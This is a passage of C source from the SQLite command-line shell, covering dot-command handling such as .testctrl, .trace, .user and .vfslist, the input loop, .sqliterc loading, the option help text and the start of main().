int len, maxlen = 0;
int i, j;
int nPrintCol, nPrintRow;
for(i=0; i<nRow; i++){
len = strlen30(azResult[i]);
if( len>maxlen ) maxlen = len;
}
nPrintCol = 80/(maxlen+2);
if( nPrintCol<1 ) nPrintCol = 1;
nPrintRow = (nRow + nPrintCol - 1)/nPrintCol;
for(i=0; i<nPrintRow; i++){
for(j=i; j<nRow; j+=nPrintRow){
char *zSp = j<nPrintRow ? "" : " ";
utf8_printf(p->out, "%s%-*s", zSp, maxlen,
azResult[j] ? azResult[j]:"");
}
raw_printf(p->out, "\n");
}
}
for(ii=0; ii<nRow; ii++) sqlite3_free(azResult[ii]);
sqlite3_free(azResult);
}else
/* Begin redirecting output to the file "testcase-out.txt" */
if( c=='t' && strcmp(azArg[0],"testcase")==0 ){
output_reset(p);
p->out = output_file_open("testcase-out.txt", 0);
if( p->out==0 ){
raw_printf(stderr, "Error: cannot open 'testcase-out.txt'\n");
}
if( nArg>=2 ){
sqlite3_snprintf(sizeof(p->zTestcase), p->zTestcase, "%s", azArg[1]);
}else{
sqlite3_snprintf(sizeof(p->zTestcase), p->zTestcase, "?");
}
}else
#ifndef SQLITE_UNTESTABLE
if( c=='t' && n>=8 && strncmp(azArg[0], "testctrl", n)==0 ){
static const struct {
const char *zCtrlName; /* Name of a test-control option */
int ctrlCode; /* Integer code for that option */
const char *zUsage; /* Usage notes */
} aCtrl[] = {
{ "always", SQLITE_TESTCTRL_ALWAYS, "BOOLEAN" },
{ "assert", SQLITE_TESTCTRL_ASSERT, "BOOLEAN" },
/*{ "benign_malloc_hooks",SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS, "" },*/
/*{ "bitvec_test", SQLITE_TESTCTRL_BITVEC_TEST, "" },*/
{ "byteorder", SQLITE_TESTCTRL_BYTEORDER, "" },
{ "extra_schema_checks",SQLITE_TESTCTRL_EXTRA_SCHEMA_CHECKS,"BOOLEAN" },
/*{ "fault_install", SQLITE_TESTCTRL_FAULT_INSTALL, "" },*/
{ "imposter", SQLITE_TESTCTRL_IMPOSTER, "SCHEMA ON/OFF ROOTPAGE"},
{ "internal_functions", SQLITE_TESTCTRL_INTERNAL_FUNCTIONS, "" },
{ "localtime_fault", SQLITE_TESTCTRL_LOCALTIME_FAULT,"BOOLEAN" },
{ "never_corrupt", SQLITE_TESTCTRL_NEVER_CORRUPT, "BOOLEAN" },
{ "optimizations", SQLITE_TESTCTRL_OPTIMIZATIONS, "DISABLE-MASK" },
#ifdef YYCOVERAGE
{ "parser_coverage", SQLITE_TESTCTRL_PARSER_COVERAGE, "" },
#endif
{ "pending_byte", SQLITE_TESTCTRL_PENDING_BYTE, "OFFSET " },
{ "prng_restore", SQLITE_TESTCTRL_PRNG_RESTORE, "" },
{ "prng_save", SQLITE_TESTCTRL_PRNG_SAVE, "" },
{ "prng_seed", SQLITE_TESTCTRL_PRNG_SEED, "SEED ?db?" },
{ "seek_count", SQLITE_TESTCTRL_SEEK_COUNT, "" },
{ "tune", SQLITE_TESTCTRL_TUNE, "ID VALUE" },
};
int testctrl = -1;
int iCtrl = -1;
int rc2 = 0; /* 0: usage. 1: %d 2: %x 3: no-output */
int isOk = 0;
int i, n2;
const char *zCmd = 0;
open_db(p, 0);
zCmd = nArg>=2 ? azArg[1] : "help";
/* The argument can optionally begin with "-" or "--" */
if( zCmd[0]=='-' && zCmd[1] ){
zCmd++;
if( zCmd[0]=='-' && zCmd[1] ) zCmd++;
}
/* --help lists all test-controls */
if( strcmp(zCmd,"help")==0 ){
utf8_printf(p->out, "Available test-controls:\n");
for(i=0; i<ArraySize(aCtrl); i++){
utf8_printf(p->out, " .testctrl %s %s\n",
aCtrl[i].zCtrlName, aCtrl[i].zUsage);
}
rc = 1;
goto meta_command_exit;
}
/* convert testctrl text option to value. allow any unique prefix
** of the option name, or a numerical value. */
n2 = strlen30(zCmd);
for(i=0; i<ArraySize(aCtrl); i++){
if( strncmp(zCmd, aCtrl[i].zCtrlName, n2)==0 ){
if( testctrl<0 ){
testctrl = aCtrl[i].ctrlCode;
iCtrl = i;
}else{
utf8_printf(stderr, "Error: ambiguous test-control: \"%s\"\n"
"Use \".testctrl --help\" for help\n", zCmd);
rc = 1;
goto meta_command_exit;
}
}
}
if( testctrl<0 ){
utf8_printf(stderr,"Error: unknown test-control: %s\n"
"Use \".testctrl --help\" for help\n", zCmd);
}else{
switch(testctrl){
/* sqlite3_test_control(int, db, int) */
case SQLITE_TESTCTRL_OPTIMIZATIONS:
if( nArg==3 ){
unsigned int opt = (unsigned int)strtol(azArg[2], 0, 0);
rc2 = sqlite3_test_control(testctrl, p->db, opt);
isOk = 3;
}
break;
/* sqlite3_test_control(int) */
case SQLITE_TESTCTRL_PRNG_SAVE:
case SQLITE_TESTCTRL_PRNG_RESTORE:
case SQLITE_TESTCTRL_BYTEORDER:
if( nArg==2 ){
rc2 = sqlite3_test_control(testctrl);
isOk = testctrl==SQLITE_TESTCTRL_BYTEORDER ? 1 : 3;
}
break;
/* sqlite3_test_control(int, uint) */
case SQLITE_TESTCTRL_PENDING_BYTE:
if( nArg==3 ){
unsigned int opt = (unsigned int)integerValue(azArg[2]);
rc2 = sqlite3_test_control(testctrl, opt);
isOk = 3;
}
break;
/* sqlite3_test_control(int, int, sqlite3*) */
case SQLITE_TESTCTRL_PRNG_SEED:
if( nArg==3 || nArg==4 ){
int ii = (int)integerValue(azArg[2]);
sqlite3 *db;
if( ii==0 && strcmp(azArg[2],"random")==0 ){
sqlite3_randomness(sizeof(ii),&ii);
printf("-- random seed: %d\n", ii);
}
if( nArg==3 ){
db = 0;
}else{
db = p->db;
/* Make sure the schema has been loaded */
sqlite3_table_column_metadata(db, 0, "x", 0, 0, 0, 0, 0, 0);
}
rc2 = sqlite3_test_control(testctrl, ii, db);
isOk = 3;
}
break;
/* sqlite3_test_control(int, int) */
case SQLITE_TESTCTRL_ASSERT:
case SQLITE_TESTCTRL_ALWAYS:
if( nArg==3 ){
int opt = booleanValue(azArg[2]);
rc2 = sqlite3_test_control(testctrl, opt);
isOk = 1;
}
break;
/* sqlite3_test_control(int, int) */
case SQLITE_TESTCTRL_LOCALTIME_FAULT:
case SQLITE_TESTCTRL_NEVER_CORRUPT:
if( nArg==3 ){
int opt = booleanValue(azArg[2]);
rc2 = sqlite3_test_control(testctrl, opt);
isOk = 3;
}
break;
/* sqlite3_test_control(sqlite3*) */
case SQLITE_TESTCTRL_INTERNAL_FUNCTIONS:
rc2 = sqlite3_test_control(testctrl, p->db);
isOk = 3;
break;
case SQLITE_TESTCTRL_IMPOSTER:
if( nArg==5 ){
rc2 = sqlite3_test_control(testctrl, p->db,
azArg[2],
integerValue(azArg[3]),
integerValue(azArg[4]));
isOk = 3;
}
break;
case SQLITE_TESTCTRL_SEEK_COUNT: {
u64 x = 0;
rc2 = sqlite3_test_control(testctrl, p->db, &x);
utf8_printf(p->out, "%llu\n", x);
isOk = 3;
break;
}
#ifdef YYCOVERAGE
case SQLITE_TESTCTRL_PARSER_COVERAGE: {
if( nArg==2 ){
sqlite3_test_control(testctrl, p->out);
isOk = 3;
}
break;
}
#endif
#ifdef SQLITE_DEBUG
case SQLITE_TESTCTRL_TUNE: {
if( nArg==4 ){
int id = (int)integerValue(azArg[2]);
int val = (int)integerValue(azArg[3]);
sqlite3_test_control(testctrl, id, &val);
isOk = 3;
}else if( nArg==3 ){
int id = (int)integerValue(azArg[2]);
sqlite3_test_control(testctrl, -id, &rc2);
isOk = 1;
}else if( nArg==2 ){
int id = 1;
while(1){
int val = 0;
rc2 = sqlite3_test_control(testctrl, -id, &val);
if( rc2!=SQLITE_OK ) break;
if( id>1 ) utf8_printf(p->out, " ");
utf8_printf(p->out, "%d: %d", id, val);
id++;
}
if( id>1 ) utf8_printf(p->out, "\n");
isOk = 3;
}
break;
}
#endif
}
}
if( isOk==0 && iCtrl>=0 ){
utf8_printf(p->out, "Usage: .testctrl %s %s\n", zCmd,aCtrl[iCtrl].zUsage);
rc = 1;
}else if( isOk==1 ){
raw_printf(p->out, "%d\n", rc2);
}else if( isOk==2 ){
raw_printf(p->out, "0x%08x\n", rc2);
}
}else
#endif /* !defined(SQLITE_UNTESTABLE) */
if( c=='t' && n>4 && strncmp(azArg[0], "timeout", n)==0 ){
open_db(p, 0);
sqlite3_busy_timeout(p->db, nArg>=2 ? (int)integerValue(azArg[1]) : 0);
}else
if( c=='t' && n>=5 && strncmp(azArg[0], "timer", n)==0 ){
if( nArg==2 ){
enableTimer = booleanValue(azArg[1]);
if( enableTimer && !HAS_TIMER ){
raw_printf(stderr, "Error: timer not available on this system.\n");
enableTimer = 0;
}
}else{
raw_printf(stderr, "Usage: .timer on|off\n");
rc = 1;
}
}else
#ifndef SQLITE_OMIT_TRACE
if( c=='t' && strncmp(azArg[0], "trace", n)==0 ){
int mType = 0;
int jj;
open_db(p, 0);
for(jj=1; jj<nArg; jj++){
const char *z = azArg[jj];
if( z[0]=='-' ){
if( optionMatch(z, "expanded") ){
p->eTraceType = SHELL_TRACE_EXPANDED;
}
#ifdef SQLITE_ENABLE_NORMALIZE
else if( optionMatch(z, "normalized") ){
p->eTraceType = SHELL_TRACE_NORMALIZED;
}
#endif
else if( optionMatch(z, "plain") ){
p->eTraceType = SHELL_TRACE_PLAIN;
}
else if( optionMatch(z, "profile") ){
mType |= SQLITE_TRACE_PROFILE;
}
else if( optionMatch(z, "row") ){
mType |= SQLITE_TRACE_ROW;
}
else if( optionMatch(z, "stmt") ){
mType |= SQLITE_TRACE_STMT;
}
else if( optionMatch(z, "close") ){
mType |= SQLITE_TRACE_CLOSE;
}
else {
raw_printf(stderr, "Unknown option \"%s\" on \".trace\"\n", z);
rc = 1;
goto meta_command_exit;
}
}else{
output_file_close(p->traceOut);
p->traceOut = output_file_open(azArg[1], 0);
}
}
if( p->traceOut==0 ){
sqlite3_trace_v2(p->db, 0, 0, 0);
}else{
if( mType==0 ) mType = SQLITE_TRACE_STMT;
sqlite3_trace_v2(p->db, mType, sql_trace_callback, p);
}
}else
#endif /* !defined(SQLITE_OMIT_TRACE) */
#if defined(SQLITE_DEBUG) && !defined(SQLITE_OMIT_VIRTUALTABLE)
if( c=='u' && strncmp(azArg[0], "unmodule", n)==0 ){
int ii;
int lenOpt;
char *zOpt;
if( nArg<2 ){
raw_printf(stderr, "Usage: .unmodule [--allexcept] NAME ...\n");
rc = 1;
goto meta_command_exit;
}
open_db(p, 0);
zOpt = azArg[1];
if( zOpt[0]=='-' && zOpt[1]=='-' && zOpt[2]!=0 ) zOpt++;
lenOpt = (int)strlen(zOpt);
if( lenOpt>=3 && strncmp(zOpt, "-allexcept",lenOpt)==0 ){
assert( azArg[nArg]==0 );
sqlite3_drop_modules(p->db, nArg>2 ? (const char**)(azArg+2) : 0);
}else{
for(ii=1; ii<nArg; ii++){
sqlite3_create_module(p->db, azArg[ii], 0, 0);
}
}
}else
#endif
#if SQLITE_USER_AUTHENTICATION
if( c=='u' && strncmp(azArg[0], "user", n)==0 ){
if( nArg<2 ){
raw_printf(stderr, "Usage: .user SUBCOMMAND ...\n");
rc = 1;
goto meta_command_exit;
}
open_db(p, 0);
if( strcmp(azArg[1],"login")==0 ){
if( nArg!=4 ){
raw_printf(stderr, "Usage: .user login USER PASSWORD\n");
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_user_authenticate(p->db, azArg[2], azArg[3],
strlen30(azArg[3]));
if( rc ){
utf8_printf(stderr, "Authentication failed for user %s\n", azArg[2]);
rc = 1;
}
}else if( strcmp(azArg[1],"add")==0 ){
if( nArg!=5 ){
raw_printf(stderr, "Usage: .user add USER PASSWORD ISADMIN\n");
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_user_add(p->db, azArg[2], azArg[3], strlen30(azArg[3]),
booleanValue(azArg[4]));
if( rc ){
raw_printf(stderr, "User-Add failed: %d\n", rc);
rc = 1;
}
}else if( strcmp(azArg[1],"edit")==0 ){
if( nArg!=5 ){
raw_printf(stderr, "Usage: .user edit USER PASSWORD ISADMIN\n");
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_user_change(p->db, azArg[2], azArg[3], strlen30(azArg[3]),
booleanValue(azArg[4]));
if( rc ){
raw_printf(stderr, "User-Edit failed: %d\n", rc);
rc = 1;
}
}else if( strcmp(azArg[1],"delete")==0 ){
if( nArg!=3 ){
raw_printf(stderr, "Usage: .user delete USER\n");
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_user_delete(p->db, azArg[2]);
if( rc ){
raw_printf(stderr, "User-Delete failed: %d\n", rc);
rc = 1;
}
}else{
raw_printf(stderr, "Usage: .user login|add|edit|delete ...\n");
rc = 1;
goto meta_command_exit;
}
}else
#endif /* SQLITE_USER_AUTHENTICATION */
if( c=='v' && strncmp(azArg[0], "version", n)==0 ){
utf8_printf(p->out, "SQLite %s %s\n" /*extra-version-info*/,
sqlite3_libversion(), sqlite3_sourceid());
#if SQLITE_HAVE_ZLIB
utf8_printf(p->out, "zlib version %s\n", zlibVersion());
#endif
#define CTIMEOPT_VAL_(opt) #opt
#define CTIMEOPT_VAL(opt) CTIMEOPT_VAL_(opt)
#if defined(__clang__) && defined(__clang_major__)
utf8_printf(p->out, "clang-" CTIMEOPT_VAL(__clang_major__) "."
CTIMEOPT_VAL(__clang_minor__) "."
CTIMEOPT_VAL(__clang_patchlevel__) "\n");
#elif defined(_MSC_VER)
utf8_printf(p->out, "msvc-" CTIMEOPT_VAL(_MSC_VER) "\n");
#elif defined(__GNUC__) && defined(__VERSION__)
utf8_printf(p->out, "gcc-" __VERSION__ "\n");
#endif
}else
if( c=='v' && strncmp(azArg[0], "vfsinfo", n)==0 ){
const char *zDbName = nArg==2 ? azArg[1] : "main";
sqlite3_vfs *pVfs = 0;
if( p->db ){
sqlite3_file_control(p->db, zDbName, SQLITE_FCNTL_VFS_POINTER, &pVfs);
if( pVfs ){
utf8_printf(p->out, "vfs.zName = \"%s\"\n", pVfs->zName);
raw_printf(p->out, "vfs.iVersion = %d\n", pVfs->iVersion);
raw_printf(p->out, "vfs.szOsFile = %d\n", pVfs->szOsFile);
raw_printf(p->out, "vfs.mxPathname = %d\n", pVfs->mxPathname);
}
}
}else
if( c=='v' && strncmp(azArg[0], "vfslist", n)==0 ){
sqlite3_vfs *pVfs;
sqlite3_vfs *pCurrent = 0;
if( p->db ){
sqlite3_file_control(p->db, "main", SQLITE_FCNTL_VFS_POINTER, &pCurrent);
}
for(pVfs=sqlite3_vfs_find(0); pVfs; pVfs=pVfs->pNext){
utf8_printf(p->out, "vfs.zName = \"%s\"%s\n", pVfs->zName,
pVfs==pCurrent ? " <--- CURRENT" : "");
raw_printf(p->out, "vfs.iVersion = %d\n", pVfs->iVersion);
raw_printf(p->out, "vfs.szOsFile = %d\n", pVfs->szOsFile);
raw_printf(p->out, "vfs.mxPathname = %d\n", pVfs->mxPathname);
if( pVfs->pNext ){
raw_printf(p->out, "-----------------------------------\n");
}
}
}else
if( c=='v' && strncmp(azArg[0], "vfsname", n)==0 ){
const char *zDbName = nArg==2 ? azArg[1] : "main";
char *zVfsName = 0;
if( p->db ){
sqlite3_file_control(p->db, zDbName, SQLITE_FCNTL_VFSNAME, &zVfsName);
if( zVfsName ){
utf8_printf(p->out, "%s\n", zVfsName);
sqlite3_free(zVfsName);
}
}
}else
if( c=='w' && strncmp(azArg[0], "wheretrace", n)==0 ){
unsigned int x = nArg>=2 ? (unsigned int)integerValue(azArg[1]) : 0xffffffff;
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 3, &x);
}else
if( c=='w' && strncmp(azArg[0], "width", n)==0 ){
int j;
assert( nArg<=ArraySize(azArg) );
p->nWidth = nArg-1;
p->colWidth = realloc(p->colWidth, p->nWidth*sizeof(int)*2);
if( p->colWidth==0 && p->nWidth>0 ) shell_out_of_memory();
if( p->nWidth ) p->actualWidth = &p->colWidth[p->nWidth];
for(j=1; j<nArg; j++){
p->colWidth[j-1] = (int)integerValue(azArg[j]);
}
}else
{
utf8_printf(stderr, "Error: unknown command or invalid arguments: "
" \"%s\". Enter \".help\" for help\n", azArg[0]);
rc = 1;
}
meta_command_exit:
if( p->outCount ){
p->outCount--;
if( p->outCount==0 ) output_reset(p);
}
return rc;
}
/*
** Return TRUE if a semicolon occurs anywhere in the first N characters
** of string z[].
*/
static int line_contains_semicolon(const char *z, int N){
int i;
for(i=0; i<N; i++){ if( z[i]==';' ) return 1; }
return 0;
}
/*
** Test to see if a line consists entirely of whitespace.
*/
static int _all_whitespace(const char *z){
for(; *z; z++){
if( IsSpace(z[0]) ) continue;
if( *z=='/' && z[1]=='*' ){
z += 2;
while( *z && (*z!='*' || z[1]!='/') ){ z++; }
if( *z==0 ) return 0;
z++;
continue;
}
if( *z=='-' && z[1]=='-' ){
z += 2;
while( *z && *z!='\n' ){ z++; }
if( *z==0 ) return 1;
continue;
}
return 0;
}
return 1;
}
/*
** Return TRUE if the line typed in is an SQL command terminator other
** than a semi-colon. The SQL Server style "go" command is understood
** as is the Oracle "/".
*/
static int line_is_command_terminator(const char *zLine){
while( IsSpace(zLine[0]) ){ zLine++; };
if( zLine[0]=='/' && _all_whitespace(&zLine[1]) ){
return 1; /* Oracle */
}
if( ToLower(zLine[0])=='g' && ToLower(zLine[1])=='o'
&& _all_whitespace(&zLine[2]) ){
return 1; /* SQL Server */
}
return 0;
}
/*
** We need a default sqlite3_complete() implementation to use in case
** the shell is compiled with SQLITE_OMIT_COMPLETE. The default assumes
** any arbitrary text is a complete SQL statement. This is not very
** user-friendly, but it does seem to work.
*/
#ifdef SQLITE_OMIT_COMPLETE
#define sqlite3_complete(x) 1
#endif
/*
** Return true if zSql is a complete SQL statement. Return false if it
** ends in the middle of a string literal or C-style comment.
*/
static int line_is_complete(char *zSql, int nSql){
int rc;
if( zSql==0 ) return 1;
zSql[nSql] = ';';
zSql[nSql+1] = 0;
rc = sqlite3_complete(zSql);
zSql[nSql] = 0;
return rc;
}
/*
** Run a single line of SQL. Return the number of errors.
*/
static int runOneSqlLine(ShellState *p, char *zSql, FILE *in, int startline){
int rc;
char *zErrMsg = 0;
open_db(p, 0);
if( ShellHasFlag(p,SHFLG_Backslash) ) resolve_backslashes(zSql);
if( p->flgProgress & SHELL_PROGRESS_RESET ) p->nProgress = 0;
BEGIN_TIMER;
rc = shell_exec(p, zSql, &zErrMsg);
END_TIMER;
if( rc || zErrMsg ){
char zPrefix[100];
if( in!=0 || !stdin_is_interactive ){
sqlite3_snprintf(sizeof(zPrefix), zPrefix,
"Error: near line %d:", startline);
}else{
sqlite3_snprintf(sizeof(zPrefix), zPrefix, "Error:");
}
if( zErrMsg!=0 ){
utf8_printf(stderr, "%s %s\n", zPrefix, zErrMsg);
sqlite3_free(zErrMsg);
zErrMsg = 0;
}else{
utf8_printf(stderr, "%s %s\n", zPrefix, sqlite3_errmsg(p->db));
}
return 1;
}else if( ShellHasFlag(p, SHFLG_CountChanges) ){
raw_printf(p->out, "changes: %3d total_changes: %d\n",
sqlite3_changes(p->db), sqlite3_total_changes(p->db));
}
return 0;
}
/*
** Read input from *in and process it. If *in==0 then input
** is interactive - the user is typing it it. Otherwise, input
** is coming from a file or device. A prompt is issued and history
** is saved only if input is interactive. An interrupt signal will
** cause this routine to exit immediately, unless input is interactive.
**
** Return the number of errors.
*/
static int process_input(ShellState *p){
char *zLine = 0; /* A single input line */
char *zSql = 0; /* Accumulated SQL text */
int nLine; /* Length of current line */
int nSql = 0; /* Bytes of zSql[] used */
int nAlloc = 0; /* Allocated zSql[] space */
int nSqlPrior = 0; /* Bytes of zSql[] used by prior line */
int rc; /* Error code */
int errCnt = 0; /* Number of errors seen */
int startline = 0; /* Line number for start of current input */
p->lineno = 0;
while( errCnt==0 || !bail_on_error || (p->in==0 && stdin_is_interactive) ){
fflush(p->out);
zLine = one_input_line(p->in, zLine, nSql>0);
if( zLine==0 ){
/* End of input */
if( p->in==0 && stdin_is_interactive ) printf("\n");
break;
}
if( seenInterrupt ){
if( p->in!=0 ) break;
seenInterrupt = 0;
}
p->lineno++;
if( nSql==0 && _all_whitespace(zLine) ){
if( ShellHasFlag(p, SHFLG_Echo) ) printf("%s\n", zLine);
continue;
}
if( zLine && (zLine[0]=='.' || zLine[0]=='#') && nSql==0 ){
if( ShellHasFlag(p, SHFLG_Echo) ) printf("%s\n", zLine);
if( zLine[0]=='.' ){
rc = do_meta_command(zLine, p);
if( rc==2 ){ /* exit requested */
break;
}else if( rc ){
errCnt++;
}
}
continue;
}
if( line_is_command_terminator(zLine) && line_is_complete(zSql, nSql) ){
memcpy(zLine,";",2);
}
nLine = strlen30(zLine);
if( nSql+nLine+2>=nAlloc ){
nAlloc = nSql+nLine+100;
zSql = realloc(zSql, nAlloc);
if( zSql==0 ) shell_out_of_memory();
}
nSqlPrior = nSql;
if( nSql==0 ){
int i;
for(i=0; zLine[i] && IsSpace(zLine[i]); i++){}
assert( nAlloc>0 && zSql!=0 );
memcpy(zSql, zLine+i, nLine+1-i);
startline = p->lineno;
nSql = nLine-i;
}else{
zSql[nSql++] = '\n';
memcpy(zSql+nSql, zLine, nLine+1);
nSql += nLine;
}
if( nSql && line_contains_semicolon(&zSql[nSqlPrior], nSql-nSqlPrior)
&& sqlite3_complete(zSql) ){
errCnt += runOneSqlLine(p, zSql, p->in, startline);
nSql = 0;
if( p->outCount ){
output_reset(p);
p->outCount = 0;
}else{
clearTempFile(p);
}
}else if( nSql && _all_whitespace(zSql) ){
if( ShellHasFlag(p, SHFLG_Echo) ) printf("%s\n", zSql);
nSql = 0;
}
}
if( nSql && !_all_whitespace(zSql) ){
errCnt += runOneSqlLine(p, zSql, p->in, startline);
}
free(zSql);
free(zLine);
return errCnt>0;
}
/*
** Return a pathname which is the user's home directory. A
** 0 return indicates an error of some kind.
*/
static char *find_home_dir(int clearFlag){
static char *home_dir = NULL;
if( clearFlag ){
free(home_dir);
home_dir = 0;
return 0;
}
if( home_dir ) return home_dir;
#if !defined(_WIN32) && !defined(WIN32) && !defined(_WIN32_WCE) \
&& !defined(__RTP__) && !defined(_WRS_KERNEL)
{
struct passwd *pwent;
uid_t uid = getuid();
if( (pwent=getpwuid(uid)) != NULL) {
home_dir = pwent->pw_dir;
}
}
#endif
#if defined(_WIN32_WCE)
/* Windows CE (arm-wince-mingw32ce-gcc) does not provide getenv()
*/
home_dir = "/";
#else
#if defined(_WIN32) || defined(WIN32)
if (!home_dir) {
home_dir = getenv("USERPROFILE");
}
#endif
if (!home_dir) {
home_dir = getenv("HOME");
}
#if defined(_WIN32) || defined(WIN32)
if (!home_dir) {
char *zDrive, *zPath;
int n;
zDrive = getenv("HOMEDRIVE");
zPath = getenv("HOMEPATH");
if( zDrive && zPath ){
n = strlen30(zDrive) + strlen30(zPath) + 1;
home_dir = malloc( n );
if( home_dir==0 ) return 0;
sqlite3_snprintf(n, home_dir, "%s%s", zDrive, zPath);
return home_dir;
}
home_dir = "c:\\";
}
#endif
#endif /* !_WIN32_WCE */
if( home_dir ){
int n = strlen30(home_dir) + 1;
char *z = malloc( n );
if( z ) memcpy(z, home_dir, n);
home_dir = z;
}
return home_dir;
}
/*
** Read input from the file given by sqliterc_override. Or if that
** parameter is NULL, take input from ~/.sqliterc
**
** Returns the number of errors.
*/
static void process_sqliterc(
ShellState *p, /* Configuration data */
const char *sqliterc_override /* Name of config file. NULL to use default */
){
char *home_dir = NULL;
const char *sqliterc = sqliterc_override;
char *zBuf = 0;
FILE *inSaved = p->in;
int savedLineno = p->lineno;
if (sqliterc == NULL) {
home_dir = find_home_dir(0);
if( home_dir==0 ){
raw_printf(stderr, "-- warning: cannot find home directory;"
" cannot read ~/.sqliterc\n");
return;
}
zBuf = sqlite3_mprintf("%s/.sqliterc",home_dir);
sqliterc = zBuf;
}
p->in = fopen(sqliterc,"rb");
if( p->in ){
if( stdin_is_interactive ){
utf8_printf(stderr,"-- Loading resources from %s\n",sqliterc);
}
if( process_input(p) && bail_on_error ) exit(1);
fclose(p->in);
}else if( sqliterc_override!=0 ){
utf8_printf(stderr,"cannot open: \"%s\"\n", sqliterc);
if( bail_on_error ) exit(1);
}
p->in = inSaved;
p->lineno = savedLineno;
sqlite3_free(zBuf);
}
/*
** Show available command line options
*/
static const char zOptions[] =
#if defined(SQLITE_HAVE_ZLIB) && !defined(SQLITE_OMIT_VIRTUALTABLE)
" -A ARGS... run \".archive ARGS\" and exit\n"
#endif
" -append append the database to the end of the file\n"
" -ascii set output mode to 'ascii'\n"
" -bail stop after hitting an error\n"
" -batch force batch I/O\n"
" -box set output mode to 'box'\n"
" -column set output mode to 'column'\n"
" -cmd COMMAND run \"COMMAND\" before reading stdin\n"
" -csv set output mode to 'csv'\n"
#if !defined(SQLITE_OMIT_DESERIALIZE)
" -deserialize open the database using sqlite3_deserialize()\n"
#endif
" -echo print commands before execution\n"
" -init FILENAME read/process named file\n"
" -[no]header turn headers on or off\n"
#if defined(SQLITE_ENABLE_MEMSYS3) || defined(SQLITE_ENABLE_MEMSYS5)
" -heap SIZE Size of heap for memsys3 or memsys5\n"
#endif
" -help show this message\n"
" -html set output mode to HTML\n"
" -interactive force interactive I/O\n"
" -json set output mode to 'json'\n"
" -line set output mode to 'line'\n"
" -list set output mode to 'list'\n"
" -lookaside SIZE N use N entries of SZ bytes for lookaside memory\n"
" -markdown set output mode to 'markdown'\n"
#if !defined(SQLITE_OMIT_DESERIALIZE)
" -maxsize N maximum size for a --deserialize database\n"
#endif
" -memtrace trace all memory allocations and deallocations\n"
" -mmap N default mmap size set to N\n"
#ifdef SQLITE_ENABLE_MULTIPLEX
" -multiplex enable the multiplexor VFS\n"
#endif
" -newline SEP set output row separator. Default: '\\n'\n"
" -nofollow refuse to open symbolic links to database files\n"
" -nullvalue TEXT set text string for NULL values. Default ''\n"
" -pagecache SIZE N use N slots of SZ bytes each for page cache memory\n"
" -quote set output mode to 'quote'\n"
" -readonly open the database read-only\n"
" -separator SEP set output column separator. Default: '|'\n"
#ifdef SQLITE_ENABLE_SORTER_REFERENCES
" -sorterref SIZE sorter references threshold size\n"
#endif
" -stats print memory stats before each finalize\n"
" -table set output mode to 'table'\n"
" -tabs set output mode to 'tabs'\n"
" -version show SQLite version\n"
" -vfs NAME use NAME as the default VFS\n"
#ifdef SQLITE_ENABLE_VFSTRACE
" -vfstrace enable tracing of all VFS calls\n"
#endif
#ifdef SQLITE_HAVE_ZLIB
" -zip open the file as a ZIP Archive\n"
#endif
;
static void usage(int showDetail){
utf8_printf(stderr,
"Usage: %s [OPTIONS] FILENAME [SQL]\n"
"FILENAME is the name of an SQLite database. A new database is created\n"
"if the file does not previously exist.\n", Argv0);
if( showDetail ){
utf8_printf(stderr, "OPTIONS include:\n%s", zOptions);
}else{
raw_printf(stderr, "Use the -help option for additional information\n");
}
exit(1);
}
/*
** Internal check: Verify that the SQLite is uninitialized. Print a
** error message if it is initialized.
*/
static void verify_uninitialized(void){
if( sqlite3_config(-1)==SQLITE_MISUSE ){
utf8_printf(stdout, "WARNING: attempt to configure SQLite after"
" initialization.\n");
}
}
/*
** Initialize the state information in data
*/
static void main_init(ShellState *data) {
memset(data, 0, sizeof(*data));
data->normalMode = data->cMode = data->mode = MODE_List;
data->autoExplain = 1;
memcpy(data->colSeparator,SEP_Column, 2);
memcpy(data->rowSeparator,SEP_Row, 2);
data->showHeader = 0;
data->shellFlgs = SHFLG_Lookaside;
verify_uninitialized();
sqlite3_config(SQLITE_CONFIG_URI, 1);
sqlite3_config(SQLITE_CONFIG_LOG, shellLog, data);
sqlite3_config(SQLITE_CONFIG_MULTITHREAD);
sqlite3_snprintf(sizeof(mainPrompt), mainPrompt,"sqlite> ");
sqlite3_snprintf(sizeof(continuePrompt), continuePrompt," ...> ");
}
/*
** Output text to the console in a font that attracts extra attention.
*/
#ifdef _WIN32
static void printBold(const char *zText){
#if !SQLITE_OS_WINRT
HANDLE out = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO defaultScreenInfo;
GetConsoleScreenBufferInfo(out, &defaultScreenInfo);
SetConsoleTextAttribute(out,
FOREGROUND_RED|FOREGROUND_INTENSITY
);
#endif
printf("%s", zText);
#if !SQLITE_OS_WINRT
SetConsoleTextAttribute(out, defaultScreenInfo.wAttributes);
#endif
}
#else
static void printBold(const char *zText){
printf("\033[1m%s\033[0m", zText);
}
#endif
/*
** Get the argument to an --option. Throw an error and die if no argument
** is available.
*/
static char *cmdline_option_value(int argc, char **argv, int i){
if( i==argc ){
utf8_printf(stderr, "%s: Error: missing argument to %s\n",
argv[0], argv[argc-1]);
exit(1);
}
return argv[i];
}
#ifndef SQLITE_SHELL_IS_UTF8
# if (defined(_WIN32) || defined(WIN32)) \
&& (defined(_MSC_VER) || (defined(UNICODE) && defined(__GNUC__)))
# define SQLITE_SHELL_IS_UTF8 (0)
# else
# define SQLITE_SHELL_IS_UTF8 (1)
# endif
#endif
#if SQLITE_SHELL_IS_UTF8
int SQLITE_CDECL main(int argc, char **argv){
#else
int SQLITE_CDECL wmain(int argc, wchar_t **wargv){
char **argv;
#endif
char *zErrMsg = 0;
ShellState data;
const char *zInitFile = 0;
int i;
int rc = 0;
int warnInmemoryDb = 0;
int readStdin = 1;
int nCmd = 0;
char **azCmd = 0;
const char *zVfs = 0; /* Value of -vfs command-line option */
#if !SQLITE_SHELL_IS_UTF8
char **argvToFree = 0;
int argcToFree = 0;
#endif
setBinaryMode(stdin, 0);
setvbuf(stderr, 0, _IONBF, 0); /* Make sure stderr is unbuffered */
stdin_is_interactive = isatty(0);
stdout_is_console = isatty(1);
#ifdef SQLITE_DEBUG
registerOomSimulator();
#endif
#if !defined(_WIN32_WCE)
if( getenv("SQLITE_DEBUG_BREAK") ){
